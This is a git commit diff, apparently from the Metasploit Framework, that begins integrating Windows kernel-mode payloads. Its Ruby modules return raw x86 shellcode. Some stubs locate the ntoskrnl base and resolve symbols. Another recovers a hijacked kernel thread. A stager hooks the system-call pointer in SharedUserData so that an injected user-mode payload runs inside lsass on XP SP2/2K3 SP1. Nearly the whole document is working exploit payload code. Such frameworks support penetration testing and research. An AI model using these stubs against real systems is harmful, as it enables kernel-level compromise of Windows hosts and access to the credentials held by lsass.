starting integration of kernel-mode payloads
git-svn-id: file:///home/svn/framework3/trunk@4043 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
c12e3f2992
commit
fa14510b78
|
@ -11,6 +11,8 @@ module Msf
|
|||
###
|
||||
class Payload < Msf::Module
|
||||
|
||||
require 'rex/payloads'
|
||||
|
||||
require 'msf/core/payload/single'
|
||||
require 'msf/core/payload/generic'
|
||||
require 'msf/core/payload/stager'
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
require 'rex/payloads/win32'
|
|
@ -0,0 +1,2 @@
|
|||
require 'rex/payloads/win32/common'
|
||||
require 'rex/payloads/win32/kernel'
|
|
@ -0,0 +1,26 @@
|
|||
module Rex
|
||||
module Payloads
|
||||
module Win32
|
||||
|
||||
module Common
|
||||
|
||||
#
|
||||
# Returns a stub that resolves the location of a symbol and then
|
||||
# calls it. Refer to the following link for more details:
|
||||
#
|
||||
# http://uninformed.org/index.cgi?v=3&a=4&p=10
|
||||
#
|
||||
def self.resolve_call_sym
|
||||
"\x60\x31\xc9\x8b\x7d\x3c\x8b\x7c\x3d\x78\x01\xef\x8b" +
|
||||
"\x57\x20\x01\xea\x8b\x34\x8a\x01\xee\x31\xc0\x99\xac" +
|
||||
"\xc1\xca\x0d\x01\xc2\x84\xc0\x75\xf6\x41\x66\x39\xda" +
|
||||
"\x75\xe3\x49\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" +
|
||||
"\x5f\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" +
|
||||
"\x61\xff\xe0"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,53 @@
|
|||
module Rex
|
||||
module Payloads
|
||||
module Win32
|
||||
|
||||
require 'rex/payloads/win32/kernel/common'
|
||||
require 'rex/payloads/win32/kernel/recovery'
|
||||
require 'rex/payloads/win32/kernel/stager'
|
||||
require 'rex/payloads/win32/kernel/migration'
|
||||
|
||||
module Kernel
|
||||
|
||||
#
|
||||
# Constructs a kernel-mode payload using the supplied options. The options
|
||||
# can be:
|
||||
#
|
||||
# Recovery : The recovery method to use, such as 'spin'.
|
||||
# Stager : The stager method to use, such as 'sud_syscall_hook'.
|
||||
# RecoveryStub : The recovery stub that should be used, if any.
|
||||
# UserModeStub : The user-mode payload to execute, if any.
|
||||
# KernelModeStub: The kernel-mode payload to execute, if any.
|
||||
#
|
||||
def self.construct(opts = {})
|
||||
payload = nil
|
||||
|
||||
# Generate the recovery stub
|
||||
if opts['Recovery'] and Kernel::Recovery.respond_to?(opts['Recovery'])
|
||||
opts['RecoveryStub'] = Kernel::Recovery.send(opts['Recovery'], opts)
|
||||
end
|
||||
|
||||
# Append supplied recovery stub information in case there is some
|
||||
# context specific recovery that must be done.
|
||||
if opts['AppendRecoveryStub']
|
||||
opts['RecoveryStub'] = (opts['RecoveryStub'] || '') + opts['AppendRecoveryStub']
|
||||
end
|
||||
|
||||
# Generate the stager
|
||||
if opts['Stager'] and Kernel::Stager.respond_to?(opts['Stager'])
|
||||
payload = Kernel::Stager.send(opts['Stager'], opts)
|
||||
# Or, generate the migrator
|
||||
elsif opts['Migrator'] and Kernel::Migration.respond_to?(opts['Migrator'])
|
||||
payload = Kernel::Migration.send(opts['Migrator'], opts)
|
||||
else
|
||||
raise ArgumentError, "A stager or a migrator must be specified."
|
||||
end
|
||||
|
||||
payload
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,54 @@
|
|||
module Rex
|
||||
module Payloads
|
||||
module Win32
|
||||
module Kernel
|
||||
|
||||
require 'rex/payloads/win32/common'
|
||||
|
||||
#
|
||||
# This class provides common methods that may be shared across more than
|
||||
# one kernel-mode payload. Many of these are from the following paper:
|
||||
#
|
||||
# http://www.uninformed.org/?v=3&a=4&t=sumry
|
||||
#
|
||||
module Common
|
||||
|
||||
#
|
||||
# Returns a stub that will find the base address of ntoskrnl and
|
||||
# place it in eax. This method works by using an IDT entry. Credit
|
||||
# to eEye.
|
||||
#
|
||||
def self.find_nt_idt_eeye
|
||||
"\x8b\x35\x38\xf0\xdf\xff\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a stub that will find the base address of ntoskrnl and
|
||||
# place it in eax. This method uses a pointer found in KdVersionBlock.
|
||||
#
|
||||
def self.find_nt_kdversionblock
|
||||
"\x31\xc0\x64\x8b\x40\x34\x8b\x40\x10"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a stub that will find the base address of ntoskrnl and
|
||||
# place it in eax. This method uses a pointer found in the
|
||||
# processor control region as a starting point.
|
||||
#
|
||||
def self.find_nt_pcr
|
||||
"\xa1\x2c\xf1\xdf\xff\x66\x25\x01\xf0\x48\x66\x81\x38\x4d\x5a\x75\xf4"
|
||||
end
|
||||
|
||||
#
|
||||
# Alias for resolving symbols.
|
||||
#
|
||||
def self.resolve_call_sym
|
||||
Rex::Payloads::Win32::Common.resolve_call_sym
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,12 @@
|
|||
module Rex
|
||||
module Payloads
|
||||
module Win32
|
||||
module Kernel
|
||||
|
||||
module Migration
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,33 @@
|
|||
module Rex
|
||||
module Payloads
|
||||
module Win32
|
||||
module Kernel
|
||||
|
||||
#
|
||||
# Recovery stubs are responsible for ensuring that the kernel does not crash.
|
||||
# They must 'recover' after the exploit has succeeded, either by consuming
|
||||
# the thread or continuing it on with its normal execution. Recovery stubs
|
||||
# will often be exploit dependent.
|
||||
#
|
||||
module Recovery
|
||||
|
||||
#
|
||||
# The default recovery method is to spin the thread
|
||||
#
|
||||
def self.default
|
||||
spin
|
||||
end
|
||||
|
||||
#
|
||||
# Infinite 'hlt' loop.
|
||||
#
|
||||
def self.spin
|
||||
"\xf4\xeb\xfd"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,67 @@
|
|||
module Rex
|
||||
module Payloads
|
||||
module Win32
|
||||
module Kernel
|
||||
|
||||
#
|
||||
# Stagers are responsible for reading in another payload and executing it.
|
||||
# The reading in of the payload may actually be as simple as copying it to
|
||||
# another location. The executing of it may be done either directly or
|
||||
# indirectly.
|
||||
#
|
||||
module Stager
|
||||
|
||||
#
|
||||
# XP SP2/2K3 SP1 ONLY
|
||||
#
|
||||
# Returns a kernel-mode stager that transitions from r0 to r3 by placing
|
||||
# code in an unused portion of SharedUserData and then pointing the
|
||||
# SystemCall attribute to that unused portion. This has the effect of
|
||||
# causing the custom code to be called every time a user-mode process
|
||||
# tries to make a system call. The returned payload also checks to make
|
||||
# sure that it's running in the context of lsass before actually running
|
||||
# the embedded payload.
|
||||
#
|
||||
def self.sud_syscall_hook(opts = {})
|
||||
r0_recovery = opts['RecoveryStub'] || Recovery.default
|
||||
r3_payload = opts['UserModeStub'] || ''
|
||||
r3_prefix = _run_only_in_lsass_stub("\xff\x25\x08\x03\xfe\x7f")
|
||||
r3_size = ((r3_prefix.length + r3_payload.length + 3) & ~0x3) / 4
|
||||
|
||||
r0_stager =
|
||||
"\xeb" + [0x1d + r0_recovery.length].pack('C') +
|
||||
"\xbb\x01\x03\xdf\xff\x4b\xfc\x8d\x7b\x7c\x5e" +
|
||||
"\x6a" + [r3_size].pack('C') + "\x59\xf3\xa5\x8b\x03" +
|
||||
"\x8d\x4b\x08\x89\x01\xc7\x03\x7c\x03\xfe\x7f" +
|
||||
r0_recovery +
|
||||
"\xe8" + [0xffffffde - r0_recovery.length].pack('V') +
|
||||
r3_prefix +
|
||||
r3_payload
|
||||
|
||||
return r0_stager
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# This stub is used by stagers to check to see if the code is
|
||||
# runing in the context of lsass. If it isn't, it runs the code
|
||||
# specified by append. Otherwise, it jumps past that code and
|
||||
# into what should be the expected r3 payload to execute. This
|
||||
# stub also makes sure that the payload does not run more than
|
||||
# once.
|
||||
#
|
||||
def self._run_only_in_lsass_stub(append = '')
|
||||
"\x60\xbb\x3c\x06\x02\x00\x8b\x0b\x03\x4b\x03\x81\xf9" +
|
||||
"\x6c\x61\x73\x73\x75\x13\x6a\x30\x5b\x64\x8b\x1b\x43" +
|
||||
"\x43\x43\x80\x3b\x01\x74\x05\xc6\x03\x01" +
|
||||
"\xeb" + [append.length + 1].pack('C') +
|
||||
"\x61" + append
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,13 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
|
||||
$:.unshift(File.join(File.dirname(msfbase), '..', 'lib'))
|
||||
|
||||
require 'rex'
|
||||
require 'msf/core'
|
||||
require 'msf/base'
|
||||
require 'msf/ui'
|
||||
|
||||
framework = Msf::Simple::Framework.create
|
||||
|
||||
Rex::Ui::Text::IrbShell.new(binding).run
|
Loading…
Reference in New Issue